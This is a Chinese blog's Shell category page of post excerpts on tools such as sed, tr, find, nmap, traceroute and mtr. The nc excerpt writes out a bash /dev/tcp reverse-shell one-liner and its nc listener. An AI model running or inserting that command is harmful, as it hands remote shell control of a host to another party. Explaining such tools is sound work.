打赏

星辰大海ゞ

That which does not kill us makes us stronger!

导航

随笔分类 -  Shell

1 2 下一页

Bash脚本中的 set -euxo pipefail
摘要:本文将介绍Bash中 set -euxo pipefail,它们可以帮助你写出更容易维护也更安全的脚本。这也是Bash脚本的终极调试手段。 set -e set -e 选项可以让你的脚本在出现异常时马上退出,后续命令不再执行。默认情况下Shell脚本不会因为错误而结束执行,但大多数情况是,我们希望出 阅读全文

posted @ 2021-05-06 11:43 星辰大海ゞ 阅读(1533) 评论(0) 推荐(1) 编辑

Shopt命令(删除排除)
摘要:有时候我们需要反选某个文件以外的其他文件,就会用到rm -rf!(file)命令,但是有时候这条命令会报错显示 -bash: !: event not found 解决办法:shopt -s extglob开启模式匹配功能 shopt命令 开启与关闭 开启之后,以下5个模式匹配操作符将被识别: ?( 阅读全文

posted @ 2019-02-20 18:50 星辰大海ゞ 阅读(563) 评论(0) 推荐(0) 编辑

while read line
摘要:# grep "请求报文:" application-20170822-*.log >> applog # cat applog|cut -d ":" -f2 >> mylog # cat mylog | while read line ; do mysql -h192.168.55.254 -uc 阅读全文

posted @ 2017-08-22 15:57 星辰大海ゞ 阅读(379) 评论(0) 推荐(0) 编辑

Sort命令使用
摘要:查看haproxy日志的某一时间段的关于某个url的访问IP降序排序: 注意:排序(sort)在去重(uniq)之后使用 p 指的是从包含某一个字符到某一字符的区间的所有行打印输出,注意此处采用了两个sort cat haproxy.log | sed -n '/Nov 20 21:00:00/,/ 阅读全文

posted @ 2016-11-22 17:31 星辰大海ゞ 阅读(271) 评论(0) 推荐(0) 编辑

Linux命令之reset - 终端屏幕混乱的终结者
摘要:用途说明 reset命令是用来重新初始化终端的(terminal initialization)。在有些情况,终端显示会混乱无比,比如不小心显示了一个二进制文件,以前我在不知道reset命令时,只好将终端强行关闭,然后重新登录。现在只需要输入reset然后回车就会将混乱的显示通通清除掉,恢复正常状态 阅读全文

posted @ 2016-08-04 11:01 星辰大海ゞ 阅读(1133) 评论(0) 推荐(1) 编辑

linux tr命令详解
摘要:替换功能: # cat a.txt 1 2 3 # cat a.txt | tr '\n' ' ' #替换换行符为空格 1 2 3 通过使用 tr,您可以非常容易地实现 sed 的许多最基本功能。您可以将 tr 看作为 sed 的(极其)简化的变体:它可以用一个字符来替换另一个字符,或者可以完全除去 阅读全文

posted @ 2016-06-01 10:28 星辰大海ゞ 阅读(492) 评论(0) 推荐(0) 编辑

SED命令用法整理
摘要:注释掉包含某字符串的行 sed /172.17.213.63:8031/s@^@#@g upstream.conf 取消注释包含某字符串的行 sed /172.17.213.63:8031/s@#@@g upstream.conf sed '/Started/'q 匹配到Started字符串则退出s 阅读全文

posted @ 2016-04-27 09:12 星辰大海ゞ 阅读(514) 评论(0) 推荐(0) 编辑

linux shell实现 URL 编码/解码方法
摘要:(1)编码的两种方法 # echo '手机' | tr -d '\n' | xxd -plain | sed 's/\(..\)/%\1/g' # echo '手机' |tr -d '\n' |od -An -tx1|tr ' ' % (2)解码的两个步骤: # url="要解码的URL地址" # 阅读全文

posted @ 2016-04-18 15:33 星辰大海ゞ 阅读(4514) 评论(0) 推荐(0) 编辑

find命令之时间戳使用示例
摘要:查看当前目录以及子目录下哪些文件占用的空间最大: find ./ -type f -exec du -m {} \; | sort -nr | head find ./ -type f -size +1G -exec du -m {} \; | sort -nr find ./ -type f -s 阅读全文

posted @ 2016-01-12 17:21 星辰大海ゞ 阅读(1045) 评论(0) 推荐(0) 编辑

install命令
摘要:install1.作用install命令的作用是安装或升级软件或备份数据,它的使用权限是所有用户。2.格式(1)install[选项]...来源目的地(2)install[选项]...来源...目录(3)install-d[选项]...目录...在前两种格式中,会将来源>复制至目的地>或将多个来源>... 阅读全文

posted @ 2015-12-29 16:31 星辰大海ゞ 阅读(895) 评论(0) 推荐(0) 编辑

locate包的安装
摘要:linux中locate命令可以快速定位我们需要查找的文件,但是在yum中,locate的安装包名为 mlocate(yum list | grep locate可以查看),安装方法:yum -y install mlocate安装完毕后就可以使用了updatedblocate 文件名 阅读全文

posted @ 2015-12-29 11:04 星辰大海ゞ 阅读(358) 评论(0) 推荐(0) 编辑

nmap扫描工具
摘要:1、NMap工具主要功能:探测主机是否在线、扫描主机开放端口和嗅探网络服务,用于网络探测和安全扫描。NMap支持很多扫描技术,例如:UDP、TCPconnect()、TCPSYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、SYN扫描和null扫描。命令格式:... 阅读全文

posted @ 2015-11-19 09:21 星辰大海ゞ 阅读(599) 评论(0) 推荐(0) 编辑

使用Linux命令行测试网速-----speedtest-cli
摘要:https://github.com/sivel/speedtest-cli 当发现上网速度变慢时,人们通常会先首先测试自己的电脑到网络服务提供商(通常被称为“最后一公里”)的网络连接速度。在可用于测试宽带速度的网站中,www.speedtest.net也许是使用最广泛的。 Speedtest.ne 阅读全文

posted @ 2015-11-09 17:27 星辰大海ゞ 阅读(1756) 评论(0) 推荐(0) 编辑

shell中的条件判断以及与python中的对比
摘要:shell中比如比较字符串、判断文件是否存在及是否可读等,通常用"[]"来表示条件测试。 注意:这里的空格很重要。要确保方括号的空格。 if ....; then python中的条件判断: if ....: (此处是冒号,不同于shell的分号) .... (由于强制缩进,所以不需要 fi) .. 阅读全文

posted @ 2015-05-27 15:20 星辰大海ゞ 阅读(755) 评论(0) 推荐(0) 编辑

jps命令
摘要:linux查看进程启动时间(运行多长时间) ps -eo lstart 启动时间ps -eo etime 运行时间 ps -eo pid,lstart,etime | grep 5176 11122 Wed Jan 24 17:50:44 2018 21:24 -e 等于“-A” all proce 阅读全文

posted @ 2015-03-24 14:29 星辰大海ゞ 阅读(308) 评论(0) 推荐(0) 编辑

linux 下 `dirname $0`
摘要:在命令行状态下单纯执行 $ cd `dirname $0` 是毫无意义的。因为他返回当前路径的"."。这个命令写在脚本文件里才有作用,他返回这个脚本文件放置的目录,并可以根据这个目录来定位所要运行程序的相对位置(绝对位置除外)。在/home/admin/test/下新建test.sh内容如下:cd ... 阅读全文

posted @ 2014-12-23 17:29 星辰大海ゞ 阅读(378) 评论(0) 推荐(0) 编辑

nc命令使用详解
摘要:反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/10.0.0.1/8080 0>&1 接收端:nc -l 8080 -vv linux下 nc -l 1234 不能与-p -s -z合用 ; -k 阅读全文

posted @ 2014-11-06 18:07 星辰大海ゞ 阅读(4989) 评论(0) 推荐(0) 编辑

mtr 命令详解
摘要:一般在windows 来判断网络连通性用ping 和tracert,ping的话可以来判断丢包率,tracert可以用来跟踪路由,在Linux中有一个更好的网络连通性判断工具,它可以结合ping nslookup tracert 来判断网络的相关特性,这个命令就是mtr[root@10.10.90.... 阅读全文

posted @ 2014-10-24 15:17 星辰大海ゞ 阅读(4052) 评论(0) 推荐(1) 编辑

Linux_free(buffer与cache区别)
摘要:一、free命令[root@xen_202_12 /]# free -m total used free shared buffers cachedMem: 3072 2459 612 0 207 1803-/+ buffers/cache: 447 2624Swap: 1913 0 1913第2行... 阅读全文

posted @ 2014-09-22 13:18 星辰大海ゞ 阅读(835) 评论(0) 推荐(0) 编辑

traceroute命令
摘要:-T 采用TCP协议进行检测,-T 参数默认端口是80 traceroute 跟踪数据包到达网络主机所经过的路由工具;traceroute 是用来发出数据包的主机到目标主机之间所经过的网关的工具。traceroute 的原理是试图以最小的TTL发出探测包来跟踪数据包到达目标主机所经过的网关,然后监听 阅读全文

posted @ 2014-09-17 14:40 星辰大海ゞ 阅读(427) 评论(0) 推荐(0) 编辑

1 2 下一页